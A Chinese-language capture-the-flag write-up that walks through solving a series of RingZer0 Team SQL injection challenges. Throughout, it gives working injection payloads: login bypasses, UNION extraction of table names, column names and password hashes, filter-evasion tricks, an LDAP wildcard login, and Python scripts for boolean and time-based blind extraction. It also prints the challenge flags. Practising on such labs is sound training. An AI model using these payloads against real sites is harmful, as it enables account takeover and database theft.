原文链接:https://xz.aliyun.com/t/2298
前记最近发现了一个有趣的练习网站~里面有大量web题目,其中sql注入的题目也是由浅入深,适合萌新入门
给出网站地址 Most basic SQLi pattern.(point 1)签到题: - username: admin'#
- password: 1
复制代码可以得到flag:FLAG-238974289383274893 ACL rulezzz the world.(point 2)随手测试 得到 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 4
复制代码随手闭合一下 得到flag:FLAG-sdfoip340e89rfuj34woit Login portal 1(point 2)过滤了 其他没测试,直接随手pass - username=admin' or 'a' like 'a&password=1
复制代码即可拿到flag:FLAG-4f885o1dal0q1huj6eaxuatcvn Random Login Form(point 2)随手试了一下二次注入,发现有点不像
于是进行长度截断
注册 - username=admin 1
- password=1
复制代码登录 - username=admin
- password=1
复制代码得到flag:FLAG-0Kg64o8M9gPQfH45583Mc0jc3u Just another login form(point 2)尝试了一下无果,于是尝试联合注入
- username = admin' union select md5(1),md5(1),md5(1)#
- password = 1
复制代码 得到回显:Bad search filter
搜索发现是LDAP的特定错误
于是登录
- username = *
- password = *
复制代码得到flag:FLAG-38i65201RR4B5g1oAm05fHO0QP
这是一个值得研究的点,默默记下了~最近的sql注入很少见,记得以前XCTF联赛中出现过~ Po po po po postgresql(point 2)随手试试 - username=admin' or 'a' like 'a&password=1
复制代码回显 - ERROR: invalid input syntax for type boolean: "admin"
- LINE 1: SELECT * FROM users WHERE (username = ('admin' or 'a' like '...
复制代码于是闭合 - username=admin') or 'a' like 'a') -- &password=1
复制代码得到flag:FLAG-mdeq68jNN88xLB1o2m8V33Ld Don't mess with Noemie; she hates admin!(point 3)尝试 - username = admin' or sleep(5) or 'a' like 'a
复制代码发现sleep成功
说明闭合有效
那么直接刚 - username = admin' or 'a' like 'a
复制代码发现登录失败
那么猜想后台语句 - $sql = select * from users where username='$username' and password = '$password'
复制代码所以我们尝试
- username = 1' or 1 or '
- password = 1
复制代码 带入即
- select * from users where username='1' or 1 or '' and password = '1'
复制代码即可成功绕过
得到flag:FLAG-Yk3Hfovvb5kALU9hI2545MaY What's the definition of NULL(point 3)看到url:?id=MQ==
明显是base64
解一下,发现是:id=1
随手测试 得到 - SQLite Database error please try again later.
复制代码然后自己测试了很久无果
回到起点,想起来他有描述 - Hint WHERE (id IS NOT NULL) AND (ID = ? AND display = 1)
复制代码
看来后台sql的确是这么写的 - WHERE (id IS NOT NULL) AND (ID = base64_decode($_GET[id]) AND display = 1)
复制代码构造
- 0) OR (ID IS NULL) OR (1=2
复制代码带入得:
- WHERE (id IS NOT NULL) AND (ID = 0) OR (ID IS NULL) OR (1=2 AND display = 1)
复制代码 编码一下
- ?id=MCkgT1IgKElEIElTIE5VTEwpIE9SICgxPTI=
复制代码得到flag:FLAG-sQFYzqfxbZhAj04NyCCV8tqA
这个题也挺有意思的,值得研究一下~ Login portal 2(point 3)上去就尝试
- username = 1' or 1 or '
- password = 1
复制代码 毕竟老套路
回显
- Wrong password for impossibletoguess.
复制代码发现impossibletoguess很可疑
可能是个用户名,竟然回显了,那试试union
- username = 1' union select 1,2#
- password = 1
复制代码 回显
剩下的就是联合注入了
- 1' union select (select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),2#
- Wrong password for users.
- 1' union select (select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='users'),2#
- Wrong password for username,password.
- 1' union select (select username from users limit 0,1),2#
- Wrong password for impossibletoguess.
- 1' union select (select password from users limit 0,1),2#
- Wrong password for 1b2f190ad705d7c2afcac45447a31b053fada0c4.
复制代码 长度40的密码,显然不是md5,猜测为sha1
联合注入
- username = impossibletoguess' union select sha1(1),sha1(1)#
- password = 1
复制代码登录成功,得到flag:FLAG-wlez73yxtkae9mpr8aerqay7or Quote of the day(point 4)随手测试id - ?q=2'
- No result found for id "2'"
复制代码发现可以回显,尝试Union,发现空格被过滤,用%0a绕过 - ?q=2%0aunion%0aselect%0a1,2#
- Quote of the day: No one forgives with more grace and love than a child.
- Quote of the day: 2
复制代码然后老套路即可: - ?q=2%0aunion%0aselect%0a1,(select%0agroup_concat(
- TABLE_NAME)%0afrom%0ainformation_schema.TABLES%0awhere%0aTABLE_SCHEMA=database())#
- Quote of the day: No one forgives with more grace and love than a child.
- Quote of the day: alkdjf4iu,quotes
- ?q=2%0aunion%0aselect%0a1,(select%0agroup_concat(COLUMN_NAME)%0afrom%0ainformation_schema.COLUMNS%0awhere%0aTABLE_NAME=0x616c6b646a66346975)#
- Quote of the day: No one forgives with more grace and love than a child.
- Quote of the day: id,flag
- ?q=2%0aunion%0aselect%0a1,(select%0aflag%0afrom%0aalkdjf4iu%0alimit%0a0,1)#
- Quote of the day: No one forgives with more grace and love than a child.
- Quote of the day: FLAG-bB6294R6cmLUlAu6H71sTd2J
复制代码over~ Thinking outside the box is the key(point 4)随手尝试 得到 - SQLite Database error please try again later.
复制代码知道了是SQLite
继续测试 - ?id=2 and 1=2 union select 1,2 from sqlite_master
- 2
- ?id=2 and 1=2 union select 1,sqlite_version() from sqlite_master
- 3.8.7.1
- ?id=2 and 1=2 union select 1,((select name from sqlite_master where type='table' limit 0,1)) from sqlite_master
- random_stuff
复制代码依次类推,得到所有表名
- random_stuff
- ajklshfajks
- troll
- aatroll
复制代码 我选择ajklshfajks
根据之前的经验,应该是flag字段了
- ?id=2 and 1=2 union select 1,((select flag from ajklshfajks limit 0,1)) from sqlite_master
- FLAG-13lIBUTHNFLEprz2KKMx6yqV
复制代码over~ No more hacking for me!(point 4)好坑,f12源代码里有说明
- <!-- l33t dev comment: -->
- <!-- No more hacking attempt we implemented the MOST secure filter -->
- <!-- urldecode(addslashes(str_replace("'", "", urldecode(htmlspecialchars($_GET['id'], ENT_QUOTES))))) -->
复制代码 我说我为什么一直做不出来:(
发现这一点后就很容易了:
- http://ringzer0team.com/challenges/74/?id=0%252527 union all select 1,tbl_name,3 FROM sqlite_master WHERE type=%252527table%252527 limit 0,1 --
- http://ringzer0team.com/challenges/74/?id=0%252527 union all select 1,sql,3 FROM sqlite_master WHERE type=%252527table%252527 and tbl_name=%252527random_data%252527 limit 0,1 --
- random_data CREATE TABLE random_data (id int, message varchar(50), display int)
- http://ringzer0team.com/challenges/74/?id=0%252527 union all select 1,message,3 FROM random_data limit 2,1 --
复制代码 即可得到flag
- FLAG-ev72V7Q4a1DzYRw5fxT71GC815JE
复制代码 Quote of the day reloaded(point 5)感觉题目是不是有点脑洞?还是我没发现
尝试来尝试去,发现这样可以成功 - ?q=3\&s=ununionion select 1,2%23
- Quote of the day: Famous remarks are very seldom quoted correctly.
- Quote of the day: 2
复制代码union要双写绕过 - ?q=3\&s=ununionion%20select%201,(select%20group_concat(TABLE_NAME)%20from%20information_schema.TABLES%20where%20TABLE_SCHEMA=database())%23
- Quote of the day: Famous remarks are very seldom quoted correctly.
- Quote of the day: qdyk5,quotes
- ?q=3\&s=ununionion%20select%201,(select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7164796b35)%23
- Quote of the day: Famous remarks are very seldom quoted correctly.
- Quote of the day: id,flag
- ?q=3\&s=ununionion%20select%201,(select flag from qdyk5 limit 0,1)%23
- Quote of the day: Famous remarks are very seldom quoted correctly.
- Quote of the day: FLAG-enjlleb337u17K7yLqZ927F3
复制代码over~
(注:虽然做出来了,还是觉得摸不着头脑,感觉关联性不强啊,我也是随手试出来的= =) Hot Single Mom(point 6)看到描述 - Get laid or get lazy it's up to you
- Find online hot single Mom
复制代码就知道不是什么正经题目,果然网站挂了(滑稽)
但是有说明题目来源:GoSecure CTF 2014
搜索了一下 - https://gist.github.com/h3xstream/3bc4f264cc911e37f0d6
复制代码应该是道不错的注入题目
有flag:FLAG-wBGc5g147MuVQuC28L9Tw8H8HF Login portal 3(point 6)这题我用了盲注,但是目前为止这是第一道用盲注的题,所以不知道是不是做麻烦了~
脚本如下 - import requests
- import string
- url = "https://ringzer0team.com/challenges/5"
- cookie = {
- "PHPSESSID":"27vctgun5jjk5ou82oqv9clog2",
- "_ga":"GA1.2.1724649637.1519735081",
- "_gid":"GA1.2.933125333.1519735081"
- }
- flag = ""
- for i in range(1,1000):
- print "i:",i
- for j in range(33,127):
- #for j in "0123456789"+string.letters+"-_!@#$^&*()={}":
- data = {
- #"username":"1' or (substr((database()),%s,1)='%s') and 'a'='a"%(i,j), login3
- #"username": "1' or (substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1)='%s') and 'a'='a" % (i, j), users
- #"username": "1' or (substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x7573657273),%s,1)='%s') and 'a'='a" % (i, j),username,password
- "username": "1' or (ascii(substr((select password from users limit 0,1),%s,1))=%s) and 'a'='a" % (i, j),
- "password":"1" #SQL1nj3ct10nFTW
- }
- r = requests.post(data=data,url=url,cookies=cookie)
- if "Invalid username / password" in r.content:
- flag += chr(j)
- print flag
- break
复制代码列名我没跑(滑稽脸),毕竟知道了他的套路,猜测是password,一猜就中~~
最后得到密码 登录拿到flag:FLAG-vgnvokjmi3fgx0s23iv5x8n2w2 When it's lite it's not necessarily easy(point 6)随手测试
- username = 1' or sleep(5) or 'a'='a
- password = 1
复制代码 发现报错
- SQLite Database error please try again later. Impossible to fetch username & password from users table
复制代码这也省事了,直接把列名,表名都弄出来了
于是直接取password进行盲注即可
- import requests
- import string
- url = "https://ringzer0team.com/challenges/19"
- cookie = {
- "PHPSESSID":"27vctgun5jjk5ou82oqv9clog2",
- "_ga":"GA1.2.1724649637.1519735081",
- "_gid":"GA1.2.933125333.1519735081"
- }
- flag = ""
- for i in range(1,1000):
- print "i:",i
- for j in "0123456789"+string.letters+"-_!@#$^&*()={}":
- data = {
- "username": "1' or (substr((select password from users limit 0,1),%s,1)='%s') and 'a'='a" % (i, j),
- "password":"1" #4dm1nzP455
- }
- r = requests.post(data=data,url=url,cookies=cookie)
- if "Invalid username / password" in r.content:
- flag += j
- print flag
- break
复制代码得到密码
登录拿到flag:FLAG-rL4t5LRMwjacD82G9vpAd6Gm Internet As A Service(point 7)疯狂测试后得到payload:
- /?s = 1'<0e0union select 1,2,3#
复制代码然后老套路即可
- ?s=1'<0e0union select 1,2,SCHEMA_NAME from information_schema.SCHEMATA limit 1,1#
- iaas
- ?s=1'<0e0union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA like 0x69616173 limit 0,1#
- iaas
- rz_flag
- ?s=1'<0e0union select 1,2,COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME like 0x727a5f666c6167 limit 0,1#
- flag
- ?s=1'<0e0union select 1,2,flag from rz_flag limit 0,1#
- FLAG-0f6Ie30uNz4Dy7o872e15lXLS2NKO1uj
复制代码over~~ Login portal 4(point 7)这题用了时间盲注
脚本如下 - import requests
- url = "https://ringzer0team.com/challenges/6"
- cookie = {
- "PHPSESSID":"vtqgjp8amva1fsr6eolee70af4",
- "_ga":"GA1.2.1724649637.1519735081",
- "_gid":"GA1.2.933125333.1519735081",
- "_gat":"1"
- }
- flag = ""
- for i in range(1,1000):
- for j in range(33,127):
- print "i:", i,"j:",j
- data = {
- "username":"1' || if((ascii(substr((select password from users limit 0,1),%s,1))=%s),sleep(3),1) || '"%(i,j),
- "password":"1"
- }
- try:
- r = requests.post(url=url,data=data,cookies=cookie,timeout=2.5)
- except:
- flag += chr(j)
- print flag
- break
复制代码得到密码: 登录后拿到flag - FLAG-70ygerntbicjdzrxmm0rmk0xx2
复制代码 后记本人算是抛砖引玉啦~由于能力有限,只能给出大部分题目题解,还有一些有趣的题目待大家继续深挖啦~期待与各位大师傅的套路~Orz
|